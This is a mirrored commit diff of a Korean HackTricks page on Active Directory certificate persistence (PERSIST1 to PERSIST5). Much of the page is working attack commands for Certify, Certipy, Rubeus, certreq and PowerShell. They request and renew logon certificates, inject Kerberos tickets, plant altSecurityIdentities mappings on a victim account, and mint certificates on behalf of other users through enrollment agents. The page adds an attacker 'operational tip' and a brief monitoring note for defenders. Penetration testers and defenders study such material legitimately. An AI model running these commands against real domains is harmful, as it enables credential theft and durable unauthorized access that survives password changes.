mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
parent
88d329ce67
commit
b342a61113
@ -2,55 +2,131 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**이것은 [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)에서의 멋진 연구의 머신 지속성 장에 대한 간단한 요약입니다.**
|
||||
**이것은 [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)에서의 훌륭한 연구의 계정 지속성 장에 대한 간단한 요약입니다.**
|
||||
|
||||
## **인증서를 통한 활성 사용자 자격 증명 도난 이해 – PERSIST1**
|
||||
## 인증서를 통한 활성 사용자 자격 증명 도난 이해 – PERSIST1
|
||||
|
||||
사용자가 도메인 인증을 허용하는 인증서를 요청할 수 있는 시나리오에서, 공격자는 이 인증서를 **요청**하고 **탈취**하여 네트워크에서 **지속성**을 유지할 기회를 갖습니다. 기본적으로 Active Directory의 `User` 템플릿은 이러한 요청을 허용하지만, 때때로 비활성화될 수 있습니다.
|
||||
사용자가 도메인 인증을 허용하는 인증서를 요청할 수 있는 시나리오에서, 공격자는 이 인증서를 요청하고 훔쳐 네트워크에서 지속성을 유지할 기회를 갖습니다. 기본적으로 Active Directory의 `User` 템플릿은 이러한 요청을 허용하지만, 때때로 비활성화될 수 있습니다.
|
||||
|
||||
[**Certify**](https://github.com/GhostPack/Certify)라는 도구를 사용하여 지속적인 접근을 가능하게 하는 유효한 인증서를 검색할 수 있습니다:
|
||||
[Certify](https://github.com/GhostPack/Certify) 또는 [Certipy](https://github.com/ly4k/Certipy)를 사용하여 클라이언트 인증을 허용하는 활성화된 템플릿을 검색한 다음 요청할 수 있습니다:
|
||||
```bash
|
||||
# Enumerate client-auth capable templates
|
||||
Certify.exe find /clientauth
|
||||
```
|
||||
인증서의 힘은 **소속된 사용자로 인증할 수 있는 능력**에 있으며, 인증서가 **유효**한 한 비밀번호 변경과 관계없이 유지됩니다.
|
||||
|
||||
인증서는 `certmgr.msc`를 사용하여 그래픽 인터페이스를 통해 요청하거나 `certreq.exe`를 사용하여 명령줄을 통해 요청할 수 있습니다. **Certify**를 사용하면 인증서를 요청하는 과정이 다음과 같이 간소화됩니다:
|
||||
```bash
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:TEMPLATE-NAME
|
||||
# Request a user cert from an Enterprise CA (current user context)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User
|
||||
|
||||
# Using Certipy (RPC/DCOM/WebEnrollment supported). Saves a PFX by default
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' -template 'User' -out user.pfx
|
||||
```
|
||||
성공적인 요청 후, 인증서와 그 개인 키가 `.pem` 형식으로 생성됩니다. 이를 Windows 시스템에서 사용할 수 있는 `.pfx` 파일로 변환하기 위해 다음 명령이 사용됩니다:
|
||||
인증서의 힘은 인증서가 유효한 한, 비밀번호 변경과 관계없이 소속된 사용자로서 인증할 수 있는 능력에 있습니다.
|
||||
|
||||
PEM을 PFX로 변환하고 이를 사용하여 TGT를 얻을 수 있습니다:
|
||||
```bash
|
||||
# Convert PEM returned by Certify to PFX
|
||||
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
|
||||
```
|
||||
`.pfx` 파일은 대상 시스템에 업로드된 후 [**Rubeus**](https://github.com/GhostPack/Rubeus)라는 도구와 함께 사용되어 사용자의 티켓 부여 티켓(TGT)을 요청하는 데 사용되며, 공격자의 접근 권한을 인증서가 **유효**한 동안(일반적으로 1년) 연장합니다:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:harmj0y /certificate:C:\Temp\cert.pfx /password:CertPass!
|
||||
```
|
||||
중요한 경고는 이 기술이 **THEFT5** 섹션에 설명된 다른 방법과 결합되어 공격자가 Local Security Authority Subsystem Service (LSASS)와 상호작용하지 않고도 계정의 **NTLM 해시**를 지속적으로 얻을 수 있게 한다는 점입니다. 이는 비승격된 컨텍스트에서 이루어지며, 장기적인 자격 증명 도용을 위한 더 은밀한 방법을 제공합니다.
|
||||
|
||||
## **인증서를 통한 머신 지속성 확보 - PERSIST2**
|
||||
# Use certificate for PKINIT and inject the TGT
|
||||
Rubeus.exe asktgt /user:john /certificate:C:\Temp\cert.pfx /password:CertPass! /ptt
|
||||
|
||||
또 다른 방법은 손상된 시스템의 머신 계정을 인증서에 등록하는 것으로, 이러한 작업을 허용하는 기본 `Machine` 템플릿을 활용합니다. 공격자가 시스템에서 승격된 권한을 얻으면 **SYSTEM** 계정을 사용하여 인증서를 요청할 수 있으며, 이는 일종의 **지속성**을 제공합니다:
|
||||
# Or with Certipy
|
||||
certipy auth -pfx user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
> 참고: 다른 기술과 결합하여 (THEFT 섹션 참조), 인증서 기반 인증은 LSASS에 손대지 않고 비승격된 컨텍스트에서도 지속적인 액세스를 허용합니다.
|
||||
|
||||
## 인증서를 통한 머신 지속성 확보 - PERSIST2
|
||||
|
||||
공격자가 호스트에서 상승된 권한을 가지고 있다면, 기본 `Machine` 템플릿을 사용하여 손상된 시스템의 머신 계정을 인증서에 등록할 수 있습니다. 머신으로 인증하면 로컬 서비스에 대해 S4U2Self를 활성화할 수 있으며, 이는 내구성 있는 호스트 지속성을 제공할 수 있습니다:
|
||||
```bash
|
||||
# Request a machine certificate as SYSTEM
|
||||
Certify.exe request /ca:dc.theshire.local/theshire-DC-CA /template:Machine /machine
|
||||
|
||||
# Authenticate as the machine using the issued PFX
|
||||
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0rd! /ptt
|
||||
```
|
||||
이 접근 방식은 공격자가 머신 계정으로 **Kerberos**에 인증하고 **S4U2Self**를 활용하여 호스트의 모든 서비스에 대한 Kerberos 서비스 티켓을 얻을 수 있게 하여, 공격자에게 머신에 대한 지속적인 접근을 효과적으로 부여합니다.
|
||||
## Extending Persistence Through Certificate Renewal - PERSIST3
|
||||
|
||||
## **인증서 갱신을 통한 지속성 확장 - PERSIST3**
|
||||
인증서 템플릿의 유효성 및 갱신 기간을 악용하면 공격자가 장기적인 접근을 유지할 수 있습니다. 이전에 발급된 인증서와 그 개인 키를 소유하고 있다면, 만료 전에 이를 갱신하여 원래 주체와 연결된 추가 요청 아티팩트 없이 새롭고 장기적인 자격 증명을 얻을 수 있습니다.
|
||||
```bash
|
||||
# Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
|
||||
# Provide the existing PFX and target the same CA/template when possible
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
-template 'User' -pfx user_old.pfx -renew -out user_renewed.pfx
|
||||
|
||||
논의된 마지막 방법은 인증서 템플릿의 **유효성** 및 **갱신 기간**을 활용하는 것입니다. 인증서가 만료되기 전에 **갱신**함으로써, 공격자는 추가 티켓 등록 없이 Active Directory에 대한 인증을 유지할 수 있으며, 이는 인증 기관(CA) 서버에 흔적을 남길 수 있습니다.
|
||||
# Native Windows renewal with certreq
|
||||
# (use the serial/thumbprint of the cert to renew; reusekeys preserves the keypair)
|
||||
certreq -enroll -user -cert <SerialOrID> renew [reusekeys]
|
||||
```
|
||||
> 운영 팁: 공격자가 보유한 PFX 파일의 수명을 추적하고 조기에 갱신하십시오. 갱신은 또한 업데이트된 인증서가 현대 SID 매핑 확장을 포함하도록 하여 더 엄격한 DC 매핑 규칙 하에서도 사용 가능하게 유지합니다(다음 섹션 참조).
|
||||
|
||||
### Certify 2.0을 통한 인증서 갱신
|
||||
## 명시적 인증서 매핑 심기 (altSecurityIdentities) – PERSIST4
|
||||
|
||||
**Certify 2.0**부터 갱신 워크플로우는 새로운 `request-renew` 명령을 통해 완전히 자동화됩니다. 이전에 발급된 인증서( **base-64 PKCS#12** 형식)를 주어진 공격자는 원래 소유자와 상호작용하지 않고도 이를 갱신할 수 있습니다. 이는 은밀하고 장기적인 지속성에 완벽합니다:
|
||||
대상 계정의 `altSecurityIdentities` 속성에 쓸 수 있다면, 공격자가 제어하는 인증서를 해당 계정에 명시적으로 매핑할 수 있습니다. 이는 비밀번호 변경을 넘어 지속되며, 강력한 매핑 형식을 사용할 경우 현대 DC 집행 하에서도 기능을 유지합니다.
|
||||
|
||||
고수준 흐름:
|
||||
|
||||
1. 제어하는 클라이언트 인증서를 얻거나 발급합니다(예: `User` 템플릿에 본인으로 등록).
|
||||
2. 인증서에서 강력한 식별자를 추출합니다(발급자+일련번호, SKI 또는 SHA1-공개키).
|
||||
3. 해당 식별자를 사용하여 피해자 주체의 `altSecurityIdentities`에 명시적 매핑을 추가합니다.
|
||||
4. 인증서로 인증합니다; DC는 이를 명시적 매핑을 통해 피해자에게 매핑합니다.
|
||||
|
||||
예제 (PowerShell) 강력한 발급자+일련번호 매핑 사용:
|
||||
```powershell
|
||||
Certify.exe request-renew --ca SERVER\\CA-NAME \
|
||||
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX
|
||||
# Example values - reverse the issuer DN and serial as required by AD mapping format
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA'
|
||||
$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR"
|
||||
|
||||
# Add mapping to victim. Requires rights to write altSecurityIdentities on the object
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
명령은 또 다른 전체 수명 기간 동안 유효한 새 PFX를 반환하여 첫 번째 인증서가 만료되거나 취소된 후에도 계속 인증할 수 있도록 합니다.
|
||||
그런 다음 PFX로 인증합니다. Certipy는 TGT를 직접 얻습니다:
|
||||
```bash
|
||||
certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10
|
||||
```
|
||||
노트
|
||||
- 강력한 매핑 유형만 사용하십시오: X509IssuerSerialNumber, X509SKI 또는 X509SHA1PublicKey. 약한 형식(주체/발급자, 주체 전용, RFC822 이메일)은 더 이상 사용되지 않으며 DC 정책에 의해 차단될 수 있습니다.
|
||||
- 인증서 체인은 DC에서 신뢰하는 루트로 구축되어야 합니다. NTAuth의 엔터프라이즈 CA는 일반적으로 신뢰되며, 일부 환경에서는 공용 CA도 신뢰합니다.
|
||||
|
||||
## References
|
||||
약한 명시적 매핑 및 공격 경로에 대한 자세한 내용은 다음을 참조하십시오:
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
{{#ref}}
|
||||
domain-escalation.md
|
||||
{{#endref}}
|
||||
|
||||
## 등록 에이전트를 통한 지속성 – PERSIST5
|
||||
|
||||
유효한 인증서 요청 에이전트/등록 에이전트 인증서를 얻으면 사용자를 대신하여 새로운 로그온 가능 인증서를 마음대로 발급할 수 있으며, 에이전트 PFX를 오프라인 상태로 유지하여 지속성 토큰으로 사용할 수 있습니다. 남용 워크플로우:
|
||||
```bash
|
||||
# Request an Enrollment Agent cert (requires template rights)
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent"
|
||||
|
||||
# Mint a user cert on behalf of another principal using the agent PFX
|
||||
Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \
|
||||
/onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass
|
||||
|
||||
# Or with Certipy
|
||||
certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \
|
||||
-template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx
|
||||
```
|
||||
에이전트 인증서 또는 템플릿 권한의 폐지가 이 지속성을 제거하는 데 필요합니다.
|
||||
|
||||
## 2025 강력한 인증서 매핑 시행: 지속성에 미치는 영향
|
||||
|
||||
Microsoft KB5014754는 도메인 컨트롤러에서 강력한 인증서 매핑 시행을 도입했습니다. 2025년 2월 11일부터 DC는 기본적으로 전체 시행으로 설정되어 약한/모호한 매핑을 거부합니다. 실질적인 의미:
|
||||
|
||||
- SID 매핑 확장이 없는 2022년 이전 인증서는 DC가 전체 시행 모드일 때 암묵적 매핑에 실패할 수 있습니다. 공격자는 AD CS를 통해 인증서를 갱신하여 SID 확장을 얻거나 `altSecurityIdentities`에 강력한 명시적 매핑을 심어 접근을 유지할 수 있습니다 (PERSIST4).
|
||||
- 강력한 형식(발급자+일련번호, SKI, SHA1-공개키)을 사용하는 명시적 매핑은 계속 작동합니다. 약한 형식(발급자/주체, 주체 전용, RFC822)은 차단될 수 있으며 지속성을 위해 피해야 합니다.
|
||||
|
||||
관리자는 다음을 모니터링하고 경고해야 합니다:
|
||||
- `altSecurityIdentities`의 변경 및 등록 에이전트와 사용자 인증서의 발급/갱신.
|
||||
- 대리 요청 및 비정상적인 갱신 패턴에 대한 CA 발급 로그.
|
||||
|
||||
## 참조
|
||||
|
||||
- Microsoft. KB5014754: Windows 도메인 컨트롤러의 인증서 기반 인증 변경 사항 (시행 일정 및 강력한 매핑).
|
||||
https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy Wiki – 명령 참조 (`req -renew`, `auth`, `shadow`).
|
||||
https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user